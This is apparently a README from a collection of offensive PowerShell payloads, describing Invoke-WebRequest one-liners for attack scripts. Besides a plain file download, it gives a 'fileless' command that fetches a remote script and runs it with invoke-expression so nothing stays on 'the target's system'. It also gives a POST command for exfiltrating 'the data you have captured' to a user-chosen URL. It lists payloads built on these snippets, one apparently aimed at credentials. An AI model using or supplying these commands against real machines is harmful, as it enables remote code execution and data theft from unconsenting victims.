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Table of Contents
  1. Description
  2. The Function
  3. Examples
  4. Contact
  5. Acknowledgments

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Invoke-WebRequest

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Description

These functions are used to either download or upload files or data

The Function

[IWR-Save]

This formatting of the IWR function will download a file from a selected URL and save it to the directory of your choosing

This is helpful if you are trying to save an image or sound file to use in your script


$env:TMP\

Use this environment variable to save the file to your Temp directory

$Env:USERPROFILE\Desktop\

Use this environment variable to save a file to your desktop

iwr < Your url for the intended file>?dl=1 -O $Env:USERPROFILE\Desktop\image.jpg

[IWR-Fileless]

This formatting of the IWR function will download a file and execute it immedietely without saving it to memory

This is helpful if you are trying to download and execute a script without keeping it on the target's system

$pl = iwr < Your url for the intended file>?dl=1; invoke-expression $pl

[IWR-Post]

This formatting of the IWR function will exfiltrate data via a DNS/POST

This is helpful if you are trying to exfiltrate the data you have captured

Request Catcher<-------Helpful website to test POST requests

iwr -Uri < Your url for posting the intended data> -Method POST -Body "text to upload"

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Examples

Listed below are payloads that have used one of these functions:

Acid Burn

JumpScare

WallPaper-Troll

Credz-Plz

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Contact

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Acknowledgments


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